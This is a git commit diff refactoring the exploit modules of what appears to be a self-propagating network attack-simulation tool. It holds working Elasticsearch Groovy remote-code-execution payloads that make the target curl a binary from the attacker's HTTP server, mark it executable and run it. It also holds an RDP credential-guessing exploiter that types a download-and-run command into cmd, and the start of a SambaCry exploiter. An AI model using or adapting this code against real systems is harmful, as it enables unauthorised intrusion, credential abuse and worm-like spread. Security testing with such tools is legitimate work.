forked from p15670423/monkey
Merge remote-tracking branch 'origin/develop' into feature/improve-ui
This commit is contained in:
commit
cb1d4f3445
|
@ -5,13 +5,31 @@ __author__ = 'itamar'
|
||||||
|
|
||||||
class HostExploiter(object):
|
class HostExploiter(object):
|
||||||
__metaclass__ = ABCMeta
|
__metaclass__ = ABCMeta
|
||||||
_target_os_type = []
|
|
||||||
|
|
||||||
def is_os_supported(self, host):
|
_TARGET_OS_TYPE = []
|
||||||
return host.os.get('type') in self._target_os_type
|
|
||||||
|
def __init__(self, host):
|
||||||
|
|
||||||
|
self._exploit_info = {}
|
||||||
|
self._exploit_attempts = []
|
||||||
|
self.host = host
|
||||||
|
|
||||||
|
def is_os_supported(self):
|
||||||
|
return self.host.os.get('type') in self._TARGET_OS_TYPE
|
||||||
|
|
||||||
|
def send_exploit_telemetry(self, result):
|
||||||
|
from control import ControlClient
|
||||||
|
ControlClient.send_telemetry(
|
||||||
|
'exploit',
|
||||||
|
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
|
||||||
|
'info': self._exploit_info, 'attempts': self._exploit_attempts})
|
||||||
|
|
||||||
|
def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''):
|
||||||
|
self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
|
||||||
|
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash})
|
||||||
|
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def exploit_host(self, host, depth=-1, src_path=None):
|
def exploit_host(self):
|
||||||
raise NotImplementedError()
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -11,9 +11,8 @@ import requests
|
||||||
|
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
from model import MONKEY_ARG
|
from model import MONKEY_ARG
|
||||||
from model.host import VictimHost
|
|
||||||
from network.elasticfinger import ES_SERVICE, ES_PORT
|
from network.elasticfinger import ES_SERVICE, ES_PORT
|
||||||
from tools import get_target_monkey, HTTPTools, build_monkey_commandline
|
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
|
||||||
|
|
||||||
__author__ = 'danielg'
|
__author__ = 'danielg'
|
||||||
|
|
||||||
|
@ -21,38 +20,40 @@ LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class ElasticGroovyExploiter(HostExploiter):
|
class ElasticGroovyExploiter(HostExploiter):
|
||||||
_target_os_type = ['linux', 'windows']
|
|
||||||
|
|
||||||
# attack URLs
|
# attack URLs
|
||||||
BASE_URL = 'http://%s:%s/_search?pretty'
|
BASE_URL = 'http://%s:%s/_search?pretty'
|
||||||
MONKEY_RESULT_FIELD = "monkey_result"
|
MONKEY_RESULT_FIELD = "monkey_result"
|
||||||
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
|
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
|
||||||
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
|
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
|
||||||
JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
|
JAVA_GET_TMP_DIR =\
|
||||||
|
GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
|
||||||
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
|
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
|
||||||
JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
JAVA_CMD = GENERIC_QUERY \
|
||||||
|
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
||||||
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
|
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
|
||||||
|
|
||||||
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
|
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
|
||||||
|
|
||||||
def __init__(self):
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super(ElasticGroovyExploiter, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = __import__('config').WormConfiguration
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
|
||||||
def is_os_supported(self, host):
|
def is_os_supported(self):
|
||||||
"""
|
"""
|
||||||
Checks if the host is vulnerable.
|
Checks if the host is vulnerable.
|
||||||
Either using version string or by trying to attack
|
Either using version string or by trying to attack
|
||||||
:param host: VictimHost
|
|
||||||
:return:
|
:return:
|
||||||
"""
|
"""
|
||||||
if host.os.get('type') not in self._target_os_type:
|
if not super(ElasticGroovyExploiter, self).is_os_supported():
|
||||||
return False
|
return False
|
||||||
|
|
||||||
if ES_SERVICE not in host.services:
|
if ES_SERVICE not in self.host.services:
|
||||||
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
|
LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr)
|
||||||
return False
|
return False
|
||||||
major, minor, build = host.services[ES_SERVICE]['version'].split('.')
|
major, minor, build = self.host.services[ES_SERVICE]['version'].split('.')
|
||||||
major = int(major)
|
major = int(major)
|
||||||
minor = int(minor)
|
minor = int(minor)
|
||||||
build = int(build)
|
build = int(build)
|
||||||
|
@ -62,19 +63,17 @@ class ElasticGroovyExploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
if major == 1 and minor == 4 and build > 2:
|
if major == 1 and minor == 4 and build > 2:
|
||||||
return False
|
return False
|
||||||
return self.is_vulnerable(host)
|
return self.is_vulnerable()
|
||||||
|
|
||||||
def exploit_host(self, host, depth=-1, src_path=None):
|
def exploit_host(self):
|
||||||
assert isinstance(host, VictimHost)
|
real_host_os = self.get_host_os()
|
||||||
|
self.host.os['type'] = str(real_host_os.lower()) # strip unicode characters
|
||||||
real_host_os = self.get_host_os(host)
|
if 'linux' in self.host.os['type']:
|
||||||
host.os['type'] = str(real_host_os.lower()) # strip unicode characters
|
return self.exploit_host_linux()
|
||||||
if 'linux' in host.os['type']:
|
|
||||||
return self.exploit_host_linux(host, depth, src_path)
|
|
||||||
else:
|
else:
|
||||||
return self.exploit_host_windows(host, depth, src_path)
|
return self.exploit_host_windows()
|
||||||
|
|
||||||
def exploit_host_windows(self, host, depth=-1, src_path=None):
|
def exploit_host_windows(self):
|
||||||
"""
|
"""
|
||||||
TODO
|
TODO
|
||||||
Will exploit windows similar to smbexec
|
Will exploit windows similar to smbexec
|
||||||
|
@ -82,150 +81,148 @@ class ElasticGroovyExploiter(HostExploiter):
|
||||||
"""
|
"""
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def exploit_host_linux(self, host, depth=-1, src_path=None):
|
def exploit_host_linux(self):
|
||||||
"""
|
"""
|
||||||
Exploits linux using similar flow to sshexec and shellshock.
|
Exploits linux using similar flow to sshexec and shellshock.
|
||||||
Meaning run remote commands to copy files over HTTP
|
Meaning run remote commands to copy files over HTTP
|
||||||
:return:
|
:return:
|
||||||
"""
|
"""
|
||||||
uname_machine = str(self.get_linux_arch(host))
|
uname_machine = str(self.get_linux_arch())
|
||||||
if len(uname_machine) != 0:
|
if len(uname_machine) != 0:
|
||||||
host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
|
self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
|
||||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
dropper_target_path_linux = self._config.dropper_target_path_linux
|
||||||
if self.skip_exist and (self.check_if_remote_file_exists_linux(host, dropper_target_path_linux)):
|
if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % host)
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
return True # return already infected
|
return True # return already infected
|
||||||
src_path = src_path or get_target_monkey(host)
|
src_path = get_target_monkey(self.host)
|
||||||
if not src_path:
|
if not src_path:
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
if not self.download_file_in_linux(host, src_path, target_path=dropper_target_path_linux):
|
if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
self.set_file_executable_linux(host, dropper_target_path_linux)
|
self.set_file_executable_linux(dropper_target_path_linux)
|
||||||
self.run_monkey_linux(host, dropper_target_path_linux, depth)
|
self.run_monkey_linux(dropper_target_path_linux)
|
||||||
|
|
||||||
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
|
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
|
||||||
LOG.info("Log file does not exist, monkey might not have run")
|
LOG.info("Log file does not exist, monkey might not have run")
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def run_monkey_linux(self, host, dropper_target_path_linux, depth):
|
def run_monkey_linux(self, dropper_target_path_linux):
|
||||||
"""
|
"""
|
||||||
Runs the monkey
|
Runs the monkey
|
||||||
"""
|
"""
|
||||||
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
|
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
|
||||||
cmdline += build_monkey_commandline(host, depth - 1) + ' & '
|
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
|
||||||
self.run_shell_command(host, cmdline)
|
self.run_shell_command(cmdline)
|
||||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
self._config.dropper_target_path_linux, host, cmdline)
|
self._config.dropper_target_path_linux, self.host, cmdline)
|
||||||
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
|
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
|
||||||
LOG.info("Log file does not exist, monkey might not have run")
|
LOG.info("Log file does not exist, monkey might not have run")
|
||||||
|
|
||||||
def download_file_in_linux(self, host, src_path, target_path):
|
def download_file_in_linux(self, src_path, target_path):
|
||||||
"""
|
"""
|
||||||
Downloads a file in target machine using curl to the given target path
|
Downloads a file in target machine using curl to the given target path
|
||||||
:param host:
|
|
||||||
:param src_path: File path relative to the monkey
|
:param src_path: File path relative to the monkey
|
||||||
:param target_path: Target path in linux victim
|
:param target_path: Target path in linux victim
|
||||||
:return: T/F
|
:return: T/F
|
||||||
"""
|
"""
|
||||||
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
|
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||||
if not http_path:
|
if not http_path:
|
||||||
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
|
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
|
||||||
return False
|
return False
|
||||||
download_command = '/usr/bin/curl %s -o %s' % (
|
download_command = '/usr/bin/curl %s -o %s' % (
|
||||||
http_path, target_path)
|
http_path, target_path)
|
||||||
self.run_shell_command(host, download_command)
|
self.run_shell_command(download_command)
|
||||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||||
http_thread.stop()
|
http_thread.stop()
|
||||||
if (http_thread.downloads != 1) or (
|
if (http_thread.downloads != 1) or (
|
||||||
'ELF' not in
|
'ELF' not in
|
||||||
self.check_if_remote_file_exists_linux(host, target_path)):
|
self.check_if_remote_file_exists_linux(target_path)):
|
||||||
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
||||||
return False
|
return False
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def set_file_executable_linux(self, host, file_path):
|
def set_file_executable_linux(self, file_path):
|
||||||
"""
|
"""
|
||||||
Marks the given file as executable using chmod
|
Marks the given file as executable using chmod
|
||||||
:return: Nothing
|
:return: Nothing
|
||||||
"""
|
"""
|
||||||
chmod = '/bin/chmod +x %s' % file_path
|
chmod = '/bin/chmod +x %s' % file_path
|
||||||
self.run_shell_command(host, chmod)
|
self.run_shell_command(chmod)
|
||||||
LOG.info("Marked file %s on host %s as executable", file_path, host)
|
LOG.info("Marked file %s on host %s as executable", file_path, self.host)
|
||||||
|
|
||||||
def check_if_remote_file_exists_linux(self, host, file_path):
|
def check_if_remote_file_exists_linux(self, file_path):
|
||||||
"""
|
"""
|
||||||
:return:
|
:return:
|
||||||
"""
|
"""
|
||||||
cmdline = '/usr/bin/head -c 4 %s' % file_path
|
cmdline = '/usr/bin/head -c 4 %s' % file_path
|
||||||
return self.run_shell_command(host, cmdline)
|
return self.run_shell_command(cmdline)
|
||||||
|
|
||||||
def run_shell_command(self, host, command):
|
def run_shell_command(self, command):
|
||||||
"""
|
"""
|
||||||
Runs a single shell command and returns the result.
|
Runs a single shell command and returns the result.
|
||||||
"""
|
"""
|
||||||
payload = self.JAVA_CMD % command
|
payload = self.JAVA_CMD % command
|
||||||
result = self.get_command_result(host, payload)
|
result = self.get_command_result(payload)
|
||||||
LOG.info("Ran the command %s on host %s", command, payload)
|
LOG.info("Ran the command %s on host %s", command, self.host)
|
||||||
return result
|
return result
|
||||||
|
|
||||||
def get_linux_arch(self, host):
|
def get_linux_arch(self):
|
||||||
"""
|
"""
|
||||||
Returns host as per uname -m
|
Returns host as per uname -m
|
||||||
"""
|
"""
|
||||||
return self.get_command_result(host, self.JAVA_GET_BIT_LINUX)
|
return self.get_command_result(self.JAVA_GET_BIT_LINUX)
|
||||||
|
|
||||||
def get_host_tempdir(self, host):
|
def get_host_tempdir(self):
|
||||||
"""
|
"""
|
||||||
Returns where to write our file given our permissions
|
Returns where to write our file given our permissions
|
||||||
:return: Temp directory path in target host
|
:return: Temp directory path in target host
|
||||||
"""
|
"""
|
||||||
return self.get_command_result(host, self.JAVA_GET_TMP_DIR)
|
return self.get_command_result(self.JAVA_GET_TMP_DIR)
|
||||||
|
|
||||||
def get_host_os(self, host):
|
def get_host_os(self):
|
||||||
"""
|
"""
|
||||||
:return: target OS
|
:return: target OS
|
||||||
"""
|
"""
|
||||||
return self.get_command_result(host, self.JAVA_GET_OS)
|
return self.get_command_result(self.JAVA_GET_OS)
|
||||||
|
|
||||||
def is_vulnerable(self, host):
|
def is_vulnerable(self):
|
||||||
"""
|
"""
|
||||||
Checks if a given elasticsearch host is vulnerable to the groovy attack
|
Checks if a given elasticsearch host is vulnerable to the groovy attack
|
||||||
:param host: Host, with an open 9200 port
|
|
||||||
:return: True/False
|
:return: True/False
|
||||||
"""
|
"""
|
||||||
result_text = self.get_command_result(host, self.JAVA_IS_VULNERABLE)
|
result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
|
||||||
return 'java.lang.Runtime' in result_text
|
return 'java.lang.Runtime' in result_text
|
||||||
|
|
||||||
def get_command_result(self, host, payload):
|
def get_command_result(self, payload):
|
||||||
"""
|
"""
|
||||||
Gets the result of an attack payload with a single return value.
|
Gets the result of an attack payload with a single return value.
|
||||||
:param host: VictimHost configuration
|
|
||||||
:param payload: Payload that fits the GENERIC_QUERY template.
|
:param payload: Payload that fits the GENERIC_QUERY template.
|
||||||
"""
|
"""
|
||||||
result = self.attack_query(host, payload)
|
result = self.attack_query(payload)
|
||||||
if not result: # not vulnerable
|
if not result: # not vulnerable
|
||||||
return False
|
return False
|
||||||
return result[0]
|
return result[0]
|
||||||
|
|
||||||
def attack_query(self, host, payload):
|
def attack_query(self, payload):
|
||||||
"""
|
"""
|
||||||
Wraps the requests query and the JSON parsing.
|
Wraps the requests query and the JSON parsing.
|
||||||
Just reduce opportunity for bugs
|
Just reduce opportunity for bugs
|
||||||
:return: List of data fields or None
|
:return: List of data fields or None
|
||||||
"""
|
"""
|
||||||
response = requests.get(self.attack_url(host), data=payload)
|
response = requests.get(self.attack_url(), data=payload)
|
||||||
result = self.get_results(response)
|
result = self.get_results(response)
|
||||||
return result
|
return result
|
||||||
|
|
||||||
def attack_url(self, host):
|
def attack_url(self):
|
||||||
"""
|
"""
|
||||||
Composes the URL to attack per host IP and port.
|
Composes the URL to attack per host IP and port.
|
||||||
:return: Elasticsearch vulnerable URL
|
:return: Elasticsearch vulnerable URL
|
||||||
"""
|
"""
|
||||||
return self.BASE_URL % (host.ip_addr, ES_PORT)
|
return self.BASE_URL % (self.host.ip_addr, ES_PORT)
|
||||||
|
|
||||||
def get_results(self, response):
|
def get_results(self, response):
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -1,19 +1,21 @@
|
||||||
import time
|
|
||||||
import threading
|
|
||||||
import os.path
|
import os.path
|
||||||
import twisted.python.log
|
import threading
|
||||||
|
import time
|
||||||
|
from logging import getLogger
|
||||||
|
|
||||||
import rdpy.core.log as rdpy_log
|
import rdpy.core.log as rdpy_log
|
||||||
|
import twisted.python.log
|
||||||
|
from rdpy.core.error import RDPSecurityNegoFail
|
||||||
from rdpy.protocol.rdp import rdp
|
from rdpy.protocol.rdp import rdp
|
||||||
from twisted.internet import reactor
|
from twisted.internet import reactor
|
||||||
from rdpy.core.error import RDPSecurityNegoFail
|
|
||||||
from logging import getLogger
|
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
from exploit.tools import HTTPTools
|
from exploit.tools import HTTPTools, get_monkey_depth
|
||||||
from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
|
|
||||||
from model.host import VictimHost
|
|
||||||
from network.tools import check_port_tcp
|
|
||||||
from exploit.tools import get_target_monkey
|
from exploit.tools import get_target_monkey
|
||||||
from tools import build_monkey_commandline, report_failed_login
|
from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
|
||||||
|
from network.tools import check_port_tcp
|
||||||
|
from tools import build_monkey_commandline
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
KEYS_INTERVAL = 0.1
|
KEYS_INTERVAL = 0.1
|
||||||
|
@ -37,6 +39,7 @@ def twisted_log_func(*message, **kw):
|
||||||
def rdpy_log_func(message):
|
def rdpy_log_func(message):
|
||||||
LOG.debug("Message from rdpy library: %s" % (message,))
|
LOG.debug("Message from rdpy library: %s" % (message,))
|
||||||
|
|
||||||
|
|
||||||
twisted.python.log.msg = twisted_log_func
|
twisted.python.log.msg = twisted_log_func
|
||||||
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
|
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
|
||||||
rdpy_log.log = rdpy_log_func
|
rdpy_log.log = rdpy_log_func
|
||||||
|
@ -125,16 +128,17 @@ class KeyPressRDPClient(rdp.RDPClientObserver):
|
||||||
if key.updates == 0:
|
if key.updates == 0:
|
||||||
self._keys = self._keys[1:]
|
self._keys = self._keys[1:]
|
||||||
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
|
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
|
||||||
self._wait_for_update = False
|
self._wait_for_update = False
|
||||||
self._update_lock.release()
|
self._update_lock.release()
|
||||||
if type(key) is ScanCodeEvent:
|
if type(key) is ScanCodeEvent:
|
||||||
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, key.is_special)
|
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
|
||||||
elif type(key) is CharEvent:
|
key.is_special)
|
||||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
|
elif type(key) is CharEvent:
|
||||||
elif type(key) is SleepEvent:
|
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
|
||||||
time.sleep(key.interval)
|
elif type(key) is SleepEvent:
|
||||||
|
time.sleep(key.interval)
|
||||||
|
|
||||||
self._keys = self._keys[1:]
|
self._keys = self._keys[1:]
|
||||||
else:
|
else:
|
||||||
self._update_lock.release()
|
self._update_lock.release()
|
||||||
time.sleep(KEYS_SENDER_SLEEP)
|
time.sleep(KEYS_SENDER_SLEEP)
|
||||||
|
@ -170,7 +174,7 @@ class CMDClientFactory(rdp.ClientFactory):
|
||||||
ScanCodeEvent(19, False),
|
ScanCodeEvent(19, False),
|
||||||
ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
|
ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
|
||||||
[WaitUpdateEvent(), ScanCodeEvent(28, True),
|
[WaitUpdateEvent(), ScanCodeEvent(28, True),
|
||||||
ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command+"&exit") +\
|
ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
|
||||||
[WaitUpdateEvent(), ScanCodeEvent(28, True),
|
[WaitUpdateEvent(), ScanCodeEvent(28, True),
|
||||||
ScanCodeEvent(28, False), WaitUpdateEvent()]
|
ScanCodeEvent(28, False), WaitUpdateEvent()]
|
||||||
self._optimized = optimized
|
self._optimized = optimized
|
||||||
|
@ -228,40 +232,41 @@ class CMDClientFactory(rdp.ClientFactory):
|
||||||
|
|
||||||
|
|
||||||
class RdpExploiter(HostExploiter):
|
class RdpExploiter(HostExploiter):
|
||||||
_target_os_type = ['windows']
|
|
||||||
|
|
||||||
def __init__(self):
|
_TARGET_OS_TYPE = ['windows']
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super(RdpExploiter, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = __import__('config').WormConfiguration
|
||||||
self._guid = __import__('config').GUID
|
self._guid = __import__('config').GUID
|
||||||
|
|
||||||
def is_os_supported(self, host):
|
def is_os_supported(self):
|
||||||
if host.os.get('type') in self._target_os_type:
|
if super(RdpExploiter, self).is_os_supported():
|
||||||
return True
|
return True
|
||||||
|
|
||||||
if not host.os.get('type'):
|
if not self.host.os.get('type'):
|
||||||
is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT)
|
is_open, _ = check_port_tcp(self.host.ip_addr, RDP_PORT)
|
||||||
if is_open:
|
if is_open:
|
||||||
host.os['type'] = 'windows'
|
self.host.os['type'] = 'windows'
|
||||||
return True
|
return True
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def exploit_host(self, host, depth=-1, src_path=None):
|
def exploit_host(self):
|
||||||
global g_reactor
|
global g_reactor
|
||||||
assert isinstance(host, VictimHost)
|
|
||||||
|
|
||||||
is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT)
|
is_open, _ = check_port_tcp(self.host.ip_addr, RDP_PORT)
|
||||||
if not is_open:
|
if not is_open:
|
||||||
LOG.info("RDP port is closed on %r, skipping", host)
|
LOG.info("RDP port is closed on %r, skipping", self.host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
src_path = src_path or get_target_monkey(host)
|
src_path = get_target_monkey(self.host)
|
||||||
|
|
||||||
if not src_path:
|
if not src_path:
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# create server for http download.
|
# create server for http download.
|
||||||
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
|
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||||
|
|
||||||
if not http_path:
|
if not http_path:
|
||||||
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
|
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
|
||||||
|
@ -269,7 +274,7 @@ class RdpExploiter(HostExploiter):
|
||||||
|
|
||||||
LOG.info("Started http server on %s", http_path)
|
LOG.info("Started http server on %s", http_path)
|
||||||
|
|
||||||
cmdline = build_monkey_commandline(host, depth-1)
|
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
|
||||||
if self._config.rdp_use_vbs_download:
|
if self._config.rdp_use_vbs_download:
|
||||||
command = RDP_CMDLINE_HTTP_VBS % {
|
command = RDP_CMDLINE_HTTP_VBS % {
|
||||||
|
@ -280,7 +285,6 @@ class RdpExploiter(HostExploiter):
|
||||||
'monkey_path': self._config.dropper_target_path,
|
'monkey_path': self._config.dropper_target_path,
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
|
||||||
|
|
||||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||||
|
|
||||||
if not g_reactor.is_alive():
|
if not g_reactor.is_alive():
|
||||||
|
@ -292,27 +296,27 @@ class RdpExploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
# run command using rdp.
|
# run command using rdp.
|
||||||
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
|
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
|
||||||
host, user, password)
|
self.host, user, password)
|
||||||
|
|
||||||
LOG.info("RDP connected to %r", host)
|
LOG.info("RDP connected to %r", self.host)
|
||||||
|
|
||||||
client_factory = CMDClientFactory(user, password, "", command)
|
client_factory = CMDClientFactory(user, password, "", command)
|
||||||
|
|
||||||
reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)
|
reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
|
||||||
|
|
||||||
client_factory.done_event.wait()
|
client_factory.done_event.wait()
|
||||||
|
|
||||||
if client_factory.success:
|
if client_factory.success:
|
||||||
exploited = True
|
exploited = True
|
||||||
host.learn_credentials(user, password)
|
self.report_login_attempt(True, user, password)
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
# failed exploiting with this user/pass
|
# failed exploiting with this user/pass
|
||||||
report_failed_login(self, host, user, password)
|
self.report_login_attempt(False, user, password)
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error logging into victim %r with user"
|
LOG.debug("Error logging into victim %r with user"
|
||||||
" %s and password '%s': (%s)", host,
|
" %s and password '%s': (%s)", self.host,
|
||||||
user, password, exc)
|
user, password, exc)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
@ -327,6 +331,6 @@ class RdpExploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
LOG.info("Executed monkey '%s' on remote victim %r",
|
LOG.info("Executed monkey '%s' on remote victim %r",
|
||||||
os.path.basename(src_path), host)
|
os.path.basename(src_path), self.host)
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
|
@ -19,7 +19,7 @@ import monkeyfs
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
from model import DROPPER_ARG
|
from model import DROPPER_ARG
|
||||||
from network.smbfinger import SMB_SERVICE
|
from network.smbfinger import SMB_SERVICE
|
||||||
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path
|
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
@ -31,8 +31,8 @@ class SambaCryExploiter(HostExploiter):
|
||||||
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
|
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
|
||||||
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
|
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
|
||||||
"""
|
"""
|
||||||
_target_os_type = ['linux']
|
|
||||||
|
|
||||||
|
_TARGET_OS_TYPE = ['linux']
|
||||||
# Name of file which contains the monkey's commandline
|
# Name of file which contains the monkey's commandline
|
||||||
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
|
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
|
||||||
# Name of file which contains the runner's result
|
# Name of file which contains the runner's result
|
||||||
|
@ -50,21 +50,22 @@ class SambaCryExploiter(HostExploiter):
|
||||||
# Monkey copy filename on share (64 bit)
|
# Monkey copy filename on share (64 bit)
|
||||||
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
|
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self, host):
|
||||||
|
super(SambaCryExploiter, self).__init__(host)
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = __import__('config').WormConfiguration
|
||||||
|
|
||||||
def exploit_host(self, host, depth=-1, src_path=None):
|
def exploit_host(self):
|
||||||
if not self.is_vulnerable(host):
|
if not self.is_vulnerable():
|
||||||
return False
|
return False
|
||||||
|
|
||||||
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
|
writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
|
||||||
